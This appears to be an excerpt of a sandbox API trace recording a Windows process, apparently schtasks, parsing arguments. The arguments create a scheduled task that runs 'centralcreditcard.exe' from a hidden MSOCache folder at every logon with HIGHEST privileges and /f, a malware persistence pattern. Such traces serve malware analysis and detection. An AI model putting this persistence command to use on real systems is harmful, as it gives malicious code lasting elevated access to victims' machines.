2 [0081.633] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0081.633] SetLastError (dwErrCode=0x490) [0081.633] SetLastError (dwErrCode=0x490) [0081.633] SetLastError (dwErrCode=0x0) [0081.633] lstrlenW (lpString="ONLOGON") returned 7 [0081.633] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0081.633] SetLastError (dwErrCode=0x490) [0081.633] SetLastError (dwErrCode=0x0) [0081.633] lstrlenW (lpString="ONLOGON") returned 7 [0081.633] GetProcessHeap () returned 0x110000 [0081.633] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x10) returned 0x12c450 [0081.633] GetProcessHeap () returned 0x110000 [0081.633] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12ce90 [0081.633] SetLastError (dwErrCode=0x0) [0081.633] SetLastError (dwErrCode=0x0) [0081.633] lstrlenW (lpString="/tr") returned 3 [0081.633] lstrlenW (lpString="-/") returned 2 [0081.633] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0081.633] lstrlenW (lpString="?") returned 1 [0081.633] lstrlenW (lpString="?") returned 1 [0081.633] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.633] lstrlenW (lpString="tr") returned 2 [0081.633] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.633] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|?|") returned 3 [0081.634] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tr|") returned 4 [0081.634] lstrlenW (lpString="|?|") returned 3 [0081.634] lstrlenW (lpString="|tr|") returned 4 [0081.634] SetLastError (dwErrCode=0x490) [0081.634] lstrlenW (lpString="create") returned 6 [0081.634] lstrlenW (lpString="create") returned 6 [0081.634] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.634] lstrlenW (lpString="tr") returned 2 [0081.634] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.634] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|create|") returned 8 [0081.634] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tr|") returned 4 [0081.634] lstrlenW (lpString="|create|") returned 8 [0081.634] lstrlenW (lpString="|tr|") returned 4 [0081.634] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0081.634] SetLastError (dwErrCode=0x490) [0081.634] lstrlenW (lpString="delete") returned 6 [0081.634] lstrlenW (lpString="delete") returned 6 [0081.634] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.634] lstrlenW (lpString="tr") returned 2 [0081.634] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.634] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|delete|") returned 8 [0081.634] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tr|") returned 4 [0081.634] lstrlenW (lpString="|delete|") returned 8 [0081.634] lstrlenW (lpString="|tr|") returned 4 [0081.634] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0081.634] SetLastError (dwErrCode=0x490) [0081.634] lstrlenW (lpString="query") returned 5 [0081.634] lstrlenW (lpString="query") returned 5 [0081.634] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.635] lstrlenW (lpString="tr") returned 2 [0081.635] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.635] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|query|") returned 7 [0081.635] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tr|") returned 4 [0081.635] lstrlenW (lpString="|query|") returned 7 [0081.635] lstrlenW (lpString="|tr|") returned 4 [0081.635] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0081.635] SetLastError (dwErrCode=0x490) [0081.635] lstrlenW (lpString="change") returned 6 [0081.635] lstrlenW (lpString="change") returned 6 [0081.635] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.635] lstrlenW (lpString="tr") returned 2 [0081.635] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.635] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|change|") returned 8 [0081.635] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tr|") returned 4 [0081.635] lstrlenW (lpString="|change|") returned 8 [0081.635] lstrlenW (lpString="|tr|") returned 4 [0081.635] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0081.635] SetLastError (dwErrCode=0x490) [0081.635] lstrlenW (lpString="run") returned 3 [0081.635] lstrlenW (lpString="run") returned 3 [0081.635] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.635] lstrlenW (lpString="tr") returned 2 [0081.635] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.635] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|run|") returned 5 [0081.635] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tr|") returned 4 [0081.635] lstrlenW (lpString="|run|") returned 5 [0081.635] lstrlenW (lpString="|tr|") returned 4 [0081.636] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0081.636] SetLastError (dwErrCode=0x490) [0081.636] lstrlenW (lpString="end") returned 3 [0081.636] lstrlenW (lpString="end") returned 3 [0081.636] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.636] lstrlenW (lpString="tr") returned 2 [0081.636] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.636] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|end|") returned 5 [0081.636] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tr|") returned 4 [0081.636] lstrlenW (lpString="|end|") returned 5 [0081.636] lstrlenW (lpString="|tr|") returned 4 [0081.636] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0081.636] SetLastError (dwErrCode=0x490) [0081.636] lstrlenW (lpString="showsid") returned 7 [0081.636] lstrlenW (lpString="showsid") returned 7 [0081.636] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.636] lstrlenW (lpString="tr") returned 2 [0081.636] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.636] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|showsid|") returned 9 [0081.636] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tr|") returned 4 [0081.636] lstrlenW (lpString="|showsid|") returned 9 [0081.636] lstrlenW (lpString="|tr|") returned 4 [0081.636] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0081.636] SetLastError (dwErrCode=0x490) [0081.636] SetLastError (dwErrCode=0x490) [0081.636] SetLastError (dwErrCode=0x0) [0081.636] lstrlenW (lpString="/tr") returned 3 [0081.636] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0081.636] SetLastError (dwErrCode=0x490) [0081.636] SetLastError (dwErrCode=0x0) [0081.636] lstrlenW (lpString="/tr") returned 3 [0081.636] GetProcessHeap () returned 0x110000 [0081.637] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x8) returned 0x12c470 [0081.637] GetProcessHeap () returned 0x110000 [0081.637] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cec0 [0081.637] SetLastError (dwErrCode=0x0) [0081.637] SetLastError (dwErrCode=0x0) [0081.637] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0081.637] lstrlenW (lpString="-/") returned 2 [0081.637] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0081.637] SetLastError (dwErrCode=0x490) [0081.637] SetLastError (dwErrCode=0x490) [0081.637] SetLastError (dwErrCode=0x0) [0081.637] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0081.637] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'" [0081.637] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0081.637] GetProcessHeap () returned 0x110000 [0081.637] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12c490 [0081.637] _memicmp (_Buf1=0x12c490, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.637] GetProcessHeap () returned 0x110000 [0081.637] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xe) returned 0x12c4b0 [0081.637] GetProcessHeap () returned 0x110000 [0081.637] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12c4d0 [0081.637] _memicmp (_Buf1=0x12c4d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.637] GetProcessHeap () returned 0x110000 [0081.637] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xb0) returned 0x12c4f0 [0081.637] SetLastError (dwErrCode=0x7a) [0081.637] SetLastError (dwErrCode=0x0) [0081.637] SetLastError (dwErrCode=0x0) [0081.637] lstrlenW (lpString="'C") returned 2 [0081.638] lstrlenW (lpString="-/") returned 2 [0081.638] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0081.638] SetLastError (dwErrCode=0x490) [0081.638] SetLastError (dwErrCode=0x490) [0081.638] SetLastError (dwErrCode=0x0) [0081.638] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0081.638] GetProcessHeap () returned 0x110000 [0081.638] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xae) returned 0x12c5b0 [0081.638] GetProcessHeap () returned 0x110000 [0081.638] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cef0 [0081.638] SetLastError (dwErrCode=0x0) [0081.638] SetLastError (dwErrCode=0x0) [0081.638] lstrlenW (lpString="/rl") returned 3 [0081.638] lstrlenW (lpString="-/") returned 2 [0081.638] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0081.638] lstrlenW (lpString="?") returned 1 [0081.638] lstrlenW (lpString="?") returned 1 [0081.638] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.638] lstrlenW (lpString="rl") returned 2 [0081.638] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.638] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|?|") returned 3 [0081.638] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|rl|") returned 4 [0081.638] lstrlenW (lpString="|?|") returned 3 [0081.638] lstrlenW (lpString="|rl|") returned 4 [0081.638] SetLastError (dwErrCode=0x490) [0081.638] lstrlenW (lpString="create") returned 6 [0081.638] lstrlenW (lpString="create") returned 6 [0081.638] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.638] lstrlenW (lpString="rl") returned 2 [0081.638] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.638] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|create|") returned 8 [0081.639] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|rl|") returned 4 [0081.639] lstrlenW (lpString="|create|") returned 8 [0081.639] lstrlenW (lpString="|rl|") returned 4 [0081.639] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0081.639] SetLastError (dwErrCode=0x490) [0081.639] lstrlenW (lpString="delete") returned 6 [0081.639] lstrlenW (lpString="delete") returned 6 [0081.639] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.639] lstrlenW (lpString="rl") returned 2 [0081.639] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.639] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|delete|") returned 8 [0081.639] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|rl|") returned 4 [0081.639] lstrlenW (lpString="|delete|") returned 8 [0081.639] lstrlenW (lpString="|rl|") returned 4 [0081.639] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0081.639] SetLastError (dwErrCode=0x490) [0081.639] lstrlenW (lpString="query") returned 5 [0081.639] lstrlenW (lpString="query") returned 5 [0081.639] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.639] lstrlenW (lpString="rl") returned 2 [0081.639] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.639] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|query|") returned 7 [0081.639] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|rl|") returned 4 [0081.639] lstrlenW (lpString="|query|") returned 7 [0081.639] lstrlenW (lpString="|rl|") returned 4 [0081.639] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0081.639] SetLastError (dwErrCode=0x490) [0081.639] lstrlenW (lpString="change") returned 6 [0081.639] lstrlenW (lpString="change") returned 6 [0081.639] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.640] lstrlenW (lpString="rl") returned 2 [0081.640] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.640] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|change|") returned 8 [0081.640] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|rl|") returned 4 [0081.640] lstrlenW (lpString="|change|") returned 8 [0081.640] lstrlenW (lpString="|rl|") returned 4 [0081.640] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0081.640] SetLastError (dwErrCode=0x490) [0081.640] lstrlenW (lpString="run") returned 3 [0081.640] lstrlenW (lpString="run") returned 3 [0081.640] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.640] lstrlenW (lpString="rl") returned 2 [0081.640] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.640] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|run|") returned 5 [0081.640] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|rl|") returned 4 [0081.640] lstrlenW (lpString="|run|") returned 5 [0081.640] lstrlenW (lpString="|rl|") returned 4 [0081.640] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0081.640] SetLastError (dwErrCode=0x490) [0081.640] lstrlenW (lpString="end") returned 3 [0081.640] lstrlenW (lpString="end") returned 3 [0081.640] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.640] lstrlenW (lpString="rl") returned 2 [0081.640] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.640] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|end|") returned 5 [0081.640] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|rl|") returned 4 [0081.640] lstrlenW (lpString="|end|") returned 5 [0081.640] lstrlenW (lpString="|rl|") returned 4 [0081.640] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0081.640] SetLastError (dwErrCode=0x490) [0081.641] lstrlenW (lpString="showsid") returned 7 [0081.641] lstrlenW (lpString="showsid") returned 7 [0081.641] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.641] lstrlenW (lpString="rl") returned 2 [0081.641] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.641] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|showsid|") returned 9 [0081.641] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|rl|") returned 4 [0081.641] lstrlenW (lpString="|showsid|") returned 9 [0081.641] lstrlenW (lpString="|rl|") returned 4 [0081.641] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0081.641] SetLastError (dwErrCode=0x490) [0081.641] SetLastError (dwErrCode=0x490) [0081.641] SetLastError (dwErrCode=0x0) [0081.641] lstrlenW (lpString="/rl") returned 3 [0081.641] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0081.641] SetLastError (dwErrCode=0x490) [0081.641] SetLastError (dwErrCode=0x0) [0081.641] lstrlenW (lpString="/rl") returned 3 [0081.641] GetProcessHeap () returned 0x110000 [0081.641] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x8) returned 0x12c670 [0081.641] GetProcessHeap () returned 0x110000 [0081.641] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cf20 [0081.641] SetLastError (dwErrCode=0x0) [0081.641] SetLastError (dwErrCode=0x0) [0081.641] lstrlenW (lpString="HIGHEST") returned 7 [0081.641] lstrlenW (lpString="-/") returned 2 [0081.641] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0081.641] SetLastError (dwErrCode=0x490) [0081.641] SetLastError (dwErrCode=0x490) [0081.641] SetLastError (dwErrCode=0x0) [0081.641] lstrlenW (lpString="HIGHEST") returned 7 [0081.641] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0081.641] SetLastError (dwErrCode=0x490) [0081.642] SetLastError (dwErrCode=0x0) [0081.642] lstrlenW (lpString="HIGHEST") returned 7 [0081.642] GetProcessHeap () returned 0x110000 [0081.642] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x10) returned 0x12d6c0 [0081.642] GetProcessHeap () returned 0x110000 [0081.642] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cf50 [0081.642] SetLastError (dwErrCode=0x0) [0081.642] SetLastError (dwErrCode=0x0) [0081.642] lstrlenW (lpString="/f") returned 2 [0081.642] lstrlenW (lpString="-/") returned 2 [0081.642] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0081.642] lstrlenW (lpString="?") returned 1 [0081.642] lstrlenW (lpString="?") returned 1 [0081.642] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.642] lstrlenW (lpString="f") returned 1 [0081.642] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.642] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|?|") returned 3 [0081.642] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|f|") returned 3 [0081.642] lstrlenW (lpString="|?|") returned 3 [0081.642] lstrlenW (lpString="|f|") returned 3 [0081.642] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0081.642] SetLastError (dwErrCode=0x490) [0081.642] lstrlenW (lpString="create") returned 6 [0081.642] lstrlenW (lpString="create") returned 6 [0081.642] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.642] lstrlenW (lpString="f") returned 1 [0081.642] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.642] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|create|") returned 8 [0081.642] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|f|") returned 3 [0081.643] lstrlenW (lpString="|create|") returned 8 [0081.643] lstrlenW (lpString="|f|") returned 3 [0081.643] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0081.643] SetLastError (dwErrCode=0x490) [0081.643] lstrlenW (lpString="delete") returned 6 [0081.643] lstrlenW (lpString="delete") returned 6 [0081.643] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.643] lstrlenW (lpString="f") returned 1 [0081.643] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.643] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|delete|") returned 8 [0081.643] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|f|") returned 3 [0081.643] lstrlenW (lpString="|delete|") returned 8 [0081.643] lstrlenW (lpString="|f|") returned 3 [0081.643] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0081.643] SetLastError (dwErrCode=0x490) [0081.643] lstrlenW (lpString="query") returned 5 [0081.643] lstrlenW (lpString="query") returned 5 [0081.643] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.643] lstrlenW (lpString="f") returned 1 [0081.643] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.643] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|query|") returned 7 [0081.643] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|f|") returned 3 [0081.643] lstrlenW (lpString="|query|") returned 7 [0081.643] lstrlenW (lpString="|f|") returned 3 [0081.643] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0081.643] SetLastError (dwErrCode=0x490) [0081.643] lstrlenW (lpString="change") returned 6 [0081.643] lstrlenW (lpString="change") returned 6 [0081.643] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.644] lstrlenW (lpString="f") returned 1 [0081.644] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.644] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|change|") returned 8 [0081.644] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|f|") returned 3 [0081.644] lstrlenW (lpString="|change|") returned 8 [0081.644] lstrlenW (lpString="|f|") returned 3 [0081.644] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0081.644] SetLastError (dwErrCode=0x490) [0081.644] lstrlenW (lpString="run") returned 3 [0081.644] lstrlenW (lpString="run") returned 3 [0081.644] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.644] lstrlenW (lpString="f") returned 1 [0081.644] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.644] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|run|") returned 5 [0081.644] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|f|") returned 3 [0081.644] lstrlenW (lpString="|run|") returned 5 [0081.644] lstrlenW (lpString="|f|") returned 3 [0081.644] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0081.644] SetLastError (dwErrCode=0x490) [0081.644] lstrlenW (lpString="end") returned 3 [0081.644] lstrlenW (lpString="end") returned 3 [0081.644] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.644] lstrlenW (lpString="f") returned 1 [0081.644] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.644] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|end|") returned 5 [0081.644] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|f|") returned 3 [0081.644] lstrlenW (lpString="|end|") returned 5 [0081.644] lstrlenW (lpString="|f|") returned 3 [0081.644] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0081.645] SetLastError (dwErrCode=0x490) [0081.645] lstrlenW (lpString="showsid") returned 7 [0081.645] lstrlenW (lpString="showsid") returned 7 [0081.645] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.645] lstrlenW (lpString="f") returned 1 [0081.645] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.645] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|showsid|") returned 9 [0081.645] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|f|") returned 3 [0081.645] lstrlenW (lpString="|showsid|") returned 9 [0081.645] lstrlenW (lpString="|f|") returned 3 [0081.645] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0081.645] SetLastError (dwErrCode=0x490) [0081.645] SetLastError (dwErrCode=0x490) [0081.645] SetLastError (dwErrCode=0x0) [0081.645] lstrlenW (lpString="/f") returned 2 [0081.645] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0081.645] SetLastError (dwErrCode=0x490) [0081.645] SetLastError (dwErrCode=0x0) [0081.645] lstrlenW (lpString="/f") returned 2 [0081.645] GetProcessHeap () returned 0x110000 [0081.645] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x6) returned 0x12de90 [0081.645] GetProcessHeap () returned 0x110000 [0081.645] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cf80 [0081.645] SetLastError (dwErrCode=0x0) [0081.645] GetProcessHeap () returned 0x110000 [0081.645] GetProcessHeap () returned 0x110000 [0081.645] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c3a0) returned 1 [0081.645] GetProcessHeap () returned 0x110000 [0081.645] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c3a0) returned 0x8 [0081.645] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c3a0 | out: hHeap=0x110000) returned 1 [0081.645] GetProcessHeap () returned 0x110000 [0081.645] GetProcessHeap () returned 0x110000 [0081.645] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cdd0) returned 1 [0081.646] GetProcessHeap () returned 0x110000 [0081.646] 